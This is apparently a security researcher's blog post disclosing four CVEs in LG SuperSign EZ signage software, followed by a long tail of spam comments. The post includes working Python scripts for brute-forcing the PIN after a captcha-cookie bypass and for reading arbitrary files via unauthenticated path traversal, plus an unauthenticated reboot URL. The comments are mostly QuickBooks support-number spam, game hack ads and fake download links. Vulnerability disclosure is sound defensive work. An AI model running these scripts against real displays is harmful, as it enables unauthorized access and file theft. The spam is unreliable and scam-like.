Hello there, it´s been a long time.
Lately, I´ve been playing with LG SuperSign TVs and found some vulnerabilites.
These vulnerabilities have been addressed with the following CVE's
Weak authentication (bypass captcha + 4 digit PIN) CVE-2018-16286
Arbitrary FIle Upload CVE-2018-16287
LFI CVE-2018-16288
DoS via reboot command CVE-2018-16706
As we can see in the link above, LG SuperSign TVs are..
"*An industry definitive, software-based content management solution
*All-in-one solution for editing, scheduling, and distribution
*Suitable for large-scale displays operation. Seamless management of different content for different displays"
These TVs are used in companies and stores for advertising.
The displayed content can be managed from a CMS that these TVs have built-in, called SuperSign EZ. It offers a web interface running on port 9080 (Using a Node.js Express Framework):
First vuln, weak authentication
In the screenshot above, we have a login form with two fields, PIN and captcha. Hmmm...We don't know the min and max length of the PIN number and we can't bruteforce it because the presence of the captcha. But....Once I had access to the administration page (In this case the CMS had the default PIN 0000) I found two interesting things.
1_ There is a cookie that takes the name and value captcha:pass
2_ The PIN number, has a max of 4 digits (I verified that in the "Change PIN number" section)
So, I logged out, and using a cookie editor, added a cookie with the name "captcha" and the value "pass" and guess what...
The captcha was gone!
So....We have a 4 digit PIN number and no captcha to resolve...It's time to script our way in!
Analizing the response after a successful login we receive the message:
If we enter a wrong password we get:
So, we can code something like this:
import requests
import re
from argparse import ArgumentParser
parser = ArgumentParser(description="SuperSign BruteForce Script")
parser.add_argument("-t", "--target", dest="target",
help="Target")
parser.add_argument("-p", "--pass", dest="password",
help="password")
args = parser.parse_args()
print "===================================="
print "= SuperSign BruteForce Script ="
print "===================================="
f = open(args.password, 'r') #Opening password file (or you can just use while starting from 0000 to 9999)
for line in f:
data = {
'id':'admin',
'password':str(line).replace('\n', ''),
'captcha':'pass',
'captcha_compare':'pas'
}
print '[+]Trying with PIN:',str(line)
s = requests.post('http://'+ str(args.target).replace('\n', '') +'/', data=data)
matches = re.findall('success', s.text);
if len(matches) == 0:
print 'Access Denied'
else:
print 'Success!'
break
The code is very simple. We make a request, using the cookie captcha:pass, for every value in 0000-9999 range and wait for the right response.
Bingo, we are in.
Second vuln, Local File Inclusion
Once I was in, using again my friend burp, I analized the requests that the application make when the user wants to add a new template and found that some files are called in this URL:
http://LG_SuperSign_IP:9080/signEzUI/playlist/edit/upload/LGXXXXXX/uploaded_file.ext
uploaded_file.ext is the file included in the template.
So, I started to try for LFI in some paths, and after receive the message "Not found" over and over, I received this beautiful response in this path:
http://LG_SuperSign_IP:9080/signEzUI/playlist/edit/upload/../../../../../../../../../../etc/passwd
This is so critical, because, this TV's can be connected with any other device of the company/store:
An attacker can obtain sensitive information for further attacks.
If you are thinking, An attacker needs to know the first vulnerability to gain access and later use the second one to get those files. Well, you are wrong. There is no need to be authenticated to exploit this LFI. If you take a look at the picture again, you can see that there is no cookie, so I'm not logged in.
Here is the code in python to retrieve any file you want:
import requests
import re
from argparse import ArgumentParser
parser = ArgumentParser(description="SuperSign Reboot")
parser.add_argument("-t", "--target", dest="target",
help="Target")
parser.add_argument("-p", "--path", dest="filepath",
help="path to the file you want to read")
args = parser.parse_args()
path = args.filepath
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path))
print s.text
Third vuln, Arbitrary file upload
Obviously, if you can serve content, you've got a File Upload function. The problem is that there is no control about the file type a user can upload, so we can upload any kind of files.
With this in mind, an attacker can access to the manager, upload a malicious file and send the link to the victim.
Hey wait, there's one more..
Fourth vuln, DoS via reboot function
Triggering an error, I found some interesting files that I could read via the LFI. One of those file had the code to a reboot function:
So...making a request to the URL http://SuperSign_IP:9080/qsr_server/device/reboot it is possible to reboot the device without authentication.
Well, I guess that's all for the moment.
Recommendations
At the moment, the only thing you can do to mitigate this vulnerabilities is isolate this devices. You must restrict the access to this TVs in your internal network and please, please, please, DO NOT EXPOSE THEM TO THE INTERNET!!!!
ReactPSN would be the tool to use. Unknown CFW is an error that sometimes randomly happens, it should work regardless if you get it or not. It shouldn't factory reset your machine, are you sure it didn't just log in to the aa account ps3 jailbreak 4.83 free
ResponderEliminarYeah good point it appeals to more audience I suppose ps3 jailbreak 4.83 cfw official
ResponderEliminarIt's a thing that the PS4 does that you have to opt out of where it will display games on the home screen that Sony thinks you might like to buy. Its a global thing but clearly you have opted out of it and forgotten about it. ps4 jailbreak 6.20 tutorial
ResponderEliminarThanks for your very useful share Karşıyaka Lg Servisi
ResponderEliminarFIFA 19 Hack are 100% entirely free for mobile, ps4 and PC in addition to safe and also protected. fifa mobile 19 hack
ResponderEliminarTham khảo May giat LG Styler
ResponderEliminarInstant help for your Quickbooks Accounting software you can dial Quickbooks Desktop Support Phone Number 800-901-6679 for USA. We are always available for your help.
ResponderEliminarNice Blog Thanks for sharing this usefull link. Quickbooks accounting software is helpful for maintain client payroll taxes accounting problems for instant help about Quickbooks Desktop Payroll Support Number . Our technical team always available for your help our Toll-free Number + 1-800-986-4607.
ResponderEliminarNice Blog If you need Quickbooks Tech Support Phone Number then you can dial +1-800-986-4591 for help and support. Our technical support team always provides you the best technical help.
ResponderEliminarOur Quickbooks Support Phone Number USA 800-901-6679 for instant help. In quickbooks accounting software if you face any type of issue in this. Our Highly skilled Technicians are there for you, to resolve your queries.
ResponderEliminarThanks For Sharing!
ResponderEliminarQuickbooks application can easy to use. It is user friendly software if yur are facing issue dial our Quickbooks Support in New York 1-800-986-4591.
Any technical issue obstructing your way ahead in Quickbooks ? Call us now, on Quickbooks Support Phone Number . Avail instant solutions for the Quickbooks technical issues persist in the software. In case, you need any assistance regarding the software, contact us 1-800-986-4607. Our team constitutes of certified proadvisors who have years of experience in handling technical issues.
ResponderEliminarQuickbooks is mostly used by smart business owner. If you are using this software and sometimes face errors. Avail instant & effective solution for your queries & issues while using Quickbooks Payroll accounting, simply dial Dial Quickbooks Helpline Number 800-901-6679.
ResponderEliminarVery informative post. Share more.
ResponderEliminarGlobal Employees
Global Employees
Global Employees
Are you facing technical issues in QuickBooks for Mac? Don’t worry, we are here to help you. Just need to dial on QuickBooks Customer Service Number 1-833-780-0086. Our QuickBooks for Mac proficients are available round the clock to give support. For More Visit: https://g.page/quickbooks-support-california
ResponderEliminarStruggling with QuickBooks nagging error? Resolve it by dialling QuickBooks customer Service Phone Number 1-833-780-0086. Our experienced & learned professionals are available to assist you. For More Visit: https://g.page/quickbooks-support-california
ResponderEliminarThe error code causes hindrances to the software functionality. This affects the work-flow of every organisation. For such errors give a call on QuickBooks customer Service Number 1-833-780-0086. Don’t try to indulge in resolving on your own. For More Visit: https://g.page/quickbookssupporttexas
ResponderEliminarFind effective solutions for all kinds of technical snags from QuickBooks Support Number 1-833-780-0086. QuickBooks is one of the reliable accounting applications that has given a lot to business. For More : https://g.page/quickbooks-support-california
ResponderEliminarNice Blog!
ResponderEliminarGetting QuickBooks error 1522?.Get efficient solution with Our expert.
Click Here to Know How to fix QuickBooks error 1522
Dial our tech support Number for any support +1-844-908-0801.
If needing comprehensive assistance regarding the software, call our QuickBooks Support Phone Number For Mac 1-833-325-0220.
ResponderEliminarNice Blog!
ResponderEliminarif you hang up with any issues in QuickBooks Get live support 24*7 from QuickBooks expert on tool-free Number.
Dial QuickBooks Proadvisor Support Phone Number 1-844-908-0801
QuickBooks Payroll Support
ResponderEliminarQuickbBooks Pos Support Phone Number
QuickBooks Toll Free Phone Number
QuickBooks Enterprise Support Phone Number
QuickBooks Tech Support Phone Number
ResponderEliminarQuickBooks Enterprise Support Phone Number
QuickBooks Desktop Support Phone Number
Intuit Customer Service Number
ResponderEliminarQuickBooks Premier Support Phone Number
QuickBooks Desktop Support Phone Number
QuickBooks Payroll Support Phone Number
Enjoy uninterrupted accounting benefits with QuickBooks Support Phone Number Texas 1-833-325-0220. QuickBooks is a leading accounting software that has fascinated the world with awesome features.
ResponderEliminarLockdown is running in the whole country due to coronavirus, in such an environment we are committed to provide the best solutions for QuickBooks Support Phone Numberclick .
ResponderEliminarClick here to Know How to Delete Deposits in QuickBooks to get in touch.
Dial : 1-844-908-0801
nice post!
ResponderEliminarWorried about QuickBooks error?Get in touch with QuickBooks expert for instant solution.
Click here to know how to fix QuickBooks error 15215 1-844-908-0801
Let our team handle your errors that appears in your QuickBooks software. We have a skilled and talented team of experts who can help fix your problems instantly. Call us at QuickBooks Support Phone Number illinois today.
ResponderEliminarEste comentario ha sido eliminado por el autor.
ResponderEliminarYour blog is very amazing i m waiting another blog thanks for provide useful information you can also visit my
ResponderEliminarquickbooks customer service phone number
i m very glad after read your article . this is very important for me. thanks for update with us . kindly you can check our accounting software service at
ResponderEliminarquickbooks customer service number
I like lg mobail
ResponderEliminarI like and read this blog
نقل اثاث الشارقة
Nice blog
ResponderEliminarI like lg technology
نقل اثاث الشارقة
Este comentario ha sido eliminado por el autor.
ResponderEliminarVery interesting blog . i m waiting other blog please keep sharing . if you also looking Quick service then connect me at
ResponderEliminarquickbooks support phone number
Este comentario ha sido eliminado por el autor.
ResponderEliminari m very glad after read your article update please share me again if you also searching any accunting sofware service service then contact me
ResponderEliminarquickbooks cutomer service
Search for the Employee identification number in the QuickBooks desktop.
ResponderEliminarHope the above methods helped you in resolving Quickbooks Error 15270. If you need more help in fixing error 15270, reach out to QBSsolved at 1-888-910-1619.
Nice blog very attractive information . we also provide solution regarding about quickbooks software at
ResponderEliminarquickbooks phone number
his is Great Article which is really helpful for me if you havefound any error facing with QuickBooks software when working you in software please check it QuickBooks Customer Service
ResponderEliminarHi! Amazing blog. Your blog gives me a thorough knowledge of the topic. In case you find any technical trouble in QuickBooks, dial QuickBooks Support Phone Numberand get premium support service from experts.
ResponderEliminarHey! Well-written blog. I hope you will post some more informative blogs on the same topic. In case you want technical support for QuickBooks, dial QuickBooks Customer Service Phone Number and get feasible solutions for QuickBooks problems.
ResponderEliminarThis is Great Article Thanks For Sharing With us .You can also Find QuickBooks Customer Service
ResponderEliminarvery great Article for QuickBooks user ,keep going on update . we also are available at
ResponderEliminarQuickBooks Customer Service for help you any query
Really so amazing picture thanks for sharing .if you have anu problem with quickbooks software then please contact at
ResponderEliminarQuickBooks Customer Service
very informative Article .if you have facing some unexpected issues in QuickBooks .To do call for such issue at quickbooks phone number
ResponderEliminarAll the Quickbooks users may not be tech savvy and they might need expert assistance to resolve these errors arising in Quickbooks. One such error is QuickBooks Error Code 1328.
ResponderEliminarHow to Resolve QuickBooks enterprise Error Code 15227?
How to resolve QuickBooks Error Code 15103
Great Article you can get best supportive service quickbooks solution at
ResponderEliminarQuickBooks Customer Service
Quickbooks Error 361 is an online session error which may appear while you perform some financial operation on Quickbooks. Occurrence of QuickBooks Error Code 361 prohibits you from using certain features of Quickbooks.
ResponderEliminarHow to Resolve QuickBooks Error Code 392?
How to fix Error QuickBooks file doctor tool not working?
Nice Blog
ResponderEliminarQuickBooks Payroll is a widely used accounting software that is intended for the business of small as well as large sizes.
From among other QuickBooks editions, this one is the best. Call QuickBooks Support Phone Number at 1-(888)-807-0601.
Nice Blog!
ResponderEliminarKnow More About How to install diagnostic tool? Get support 24*7 from QuickBooks expert on toll-free Number.
Click here to know How to install diagnostic tool
Call QuickBooks Support Phone Number at 1-(888)-903-0715
QuickBooks Payroll Update Error 15243 is one of them. Quickbooks error 15243 arrives when Quickbooks file copy services stop working due to some reasons. If you feel you need more help in fixing How to Fix QuickBooks Payroll Update Error 15243?, call QuickBooks enterprise support at +1-888-485-0289 and we will help you in resolving the Error 15243.
ResponderEliminarQuickBooks Online is an accounting software used by small businesses. If you are stuck with error and need immediate assistance then call at Quickbooks Customer Service Number +1 855-738-7873
ResponderEliminarexport and import company records in sage
ResponderEliminarrecord and refund customer overpayment in sage
link sage 50cloud with office 365
delete charts of account in sage 50
replace a vendors check that has been lost in sage
no valid servers found when starting sage 100
ResponderEliminarset up payroll entitlement in sage 50
updating license key for sage crm
create sage 50 invoice payment
protect employee information in sage 50
Very impressive blog Thanks For Sharing with us if you have some query regarding QuickBooks issue then just dial at Quickbooks Customer Service +1 888-981-4592
ResponderEliminarQuickBooks is a popular bookkeeping software, QuickBooks has great customer service When the QuickBooks error occurs, then
ResponderEliminarDial our QuickBooks Support Phone Number +1 888-471-2380 . QuickBooks has QuickBooks Enterprise Support provide feasible solutions
QuickBooks is daily accounting software that keeps track of your business money, customers and inventory .QuickBooks payroll update error error 15311 occurs when payroll information and QuickBooks not working properly get in touch with our
ResponderEliminarQuickBooks Enterprise Support experts to fix the error for you. You can simply make a call at Quickbooks Support Phone Number +18554442233 to fix the error for you.
Quickbooks Support Phone Number is best option which can you get all solution of your issue Visit more info
ResponderEliminarQuickBooks Enterprise Support with technical Support by expert
This is very attractive article so if you looking Quickbooks solution call at
ResponderEliminarQuickbooks Customer Service Phone Number +1 855-675-3194 with also support of QuickBooks Enterprise Support
quickbooks is very complete bussiness solution if you are suffering any issue then please contact at
ResponderEliminarQuickbooks Support Phone Number +1 877-603-0806 with technical support of
QuickBooks Enterprise Support
Nice article !! If You Need Help Resolving QuickBooks Error then Just Quickly Dial Quickbooks Customer Service +18882724881
ResponderEliminarWe at Quickbooks Support Phone Number provide helpful Quickbooks solutions for your queries
ResponderEliminarThanks for Sharing this great article..Its really nice and useful for us… keep sharing..
ResponderEliminarvat return service in barking
Thanks for writing an awesome blog on this topic. If you need any help Toprint W-2 form in QuickBooks desktop and online give us a call on helpline number +1 (855)-856-0053 to get quick result . https://asquarecloudhosting.com/how-to-print-w-2-form-in-quickbooks-desktop-online-explained/
ResponderEliminarMama Quiero Ser P3Nt3St3R!: Multiple Vulnerabilities In Lg Supersignez Cms >>>>> Download Now
ResponderEliminar>>>>> Download Full
Mama Quiero Ser P3Nt3St3R!: Multiple Vulnerabilities In Lg Supersignez Cms >>>>> Download LINK
>>>>> Download Now
Mama Quiero Ser P3Nt3St3R!: Multiple Vulnerabilities In Lg Supersignez Cms >>>>> Download Full
>>>>> Download LINK
Mama Quiero Ser P3Nt3St3R!: Multiple Vulnerabilities In Lg Supersignez Cms >>>>> Download Now
ResponderEliminar>>>>> Download Full
Mama Quiero Ser P3Nt3St3R!: Multiple Vulnerabilities In Lg Supersignez Cms >>>>> Download LINK
>>>>> Download Now
Mama Quiero Ser P3Nt3St3R!: Multiple Vulnerabilities In Lg Supersignez Cms >>>>> Download Full
>>>>> Download LINK SW
Thanks for sharing valuable content. Quick Books CRM plays vital role in every business, it's very important to understand how you present yourself in global market. For more about QuickBooks online CRM get in touch with us. If you want Quick Books CRM.. Than visit my website QuickBooks Online CRM
ResponderEliminarProject management is a very tedious task in the construction sector because there are many aspects that need to be managed. Zepth is an effective construction project management software that provides a complete solution for project management.
ResponderEliminarI really liked how concisely you described everything. Short stories are my favorite type of fiction. QuickBooks is a well-known business management software. QBDBMgrN .exe Not Running Error is one of the problems users could face. To correct the error, go to this site.
ResponderEliminar
ResponderEliminarHow to Create a Project Plan in 5 Simple Steps?
ONLINE PMP CERTIFICATION
Nice post. Thanks for sharing! I want people to know just how good this information is in your article. It’s interesting content and Great work. QuickBooks Error Code 6210
ResponderEliminarThis post is really very helpful article to resolve Quickbooks event id 4. but still if you have any issues related Quickbooks event id 4 on this computer then connect with Asquare Cloud hosting at +1(855)-738-0359.
ResponderEliminarwindows firewall connection sharing not allowe
Regular visits listed here are the easiest method to appreciate your energy, which is why why I am going to the website everyday, searching for new, interesting info. Many, thank you! you can check my quickbooks payroll errors list-
ResponderEliminarQuickBooks Error PS033
QuickBooks Error PS101
QuickBooks Error PS058
quickbooks error ps077
How to Fix QBDBMgrN Not Running on this Computer Error? Fix 1: Install Windows Firewall Updates · Fix 2: Restart QuickBooks Database Server Manager ServiceAre you facing issues with this error? Let this blog post helps you as a comprehensive guide for you. In case you need professional assistance from our QuickBooks expert team, get in touch with us. You can contact us at +1-855-738-0359.
ResponderEliminarFantastic article with great piece of information... Keep Posting
ResponderEliminarData science classes in Pune
Thank you for creating such a wonderful blog. I'm always looking for high quality articles on my website. Your work is also something I respect. I strive to be as good a blogger as you. We hope you will read the paper, which is full of useful information. You are doing a great job.
ResponderEliminarQuickBooks Error Code 6210
Useful post thanks for sharing
ResponderEliminarSai Satcharitra pdf
Sai Satcharitra Tamil pdf
Sai Satcharitra Hindi pdf
Thanks for the article!
ResponderEliminarBroadMind - IELTS coaching in Madurai
Nice post thanks for sharing
ResponderEliminargold price today chennai
gold price today salem
gold rate today namakkal
gold price today madurai
gold grt rate today
This is actually a really good post; the language truly drew me in, and you gave a clear concept of the subject. Nice!!
ResponderEliminarDB Computer Solutions Ltd
QuickBooks Error 12007 is a problem that occurs when QuickBooks software can't connect to the internet to download updates. It might happen due to issues with your internet connection, firewall settings, or other network configurations.
ResponderEliminarHow to fix QuickBooks Error 12007
QuickBooks Error 6123
QuickBooks Error 179
QuickBooks Error 6129 is a common issue that users encounter while working with the QuickBooks accounting software.
ResponderEliminarHow to fix QuickBooks Error 6129
Quickbooks Error H202
QuickBooks Error 179
One such common issue is QuickBooks Error 12152. In this guide, we will explore what QuickBooks Error 12152 is and provide a detailed, step-by-step solution to resolve it.
ResponderEliminarHow to Fix QuickBooks Error 12152
How to Fix QuickBooks Loan Manager Not Working Error
resolve Quickbooks Error 6175
Brilliant Content for Reading Aston Overseas Education Consultants | Study Abroad
ResponderEliminar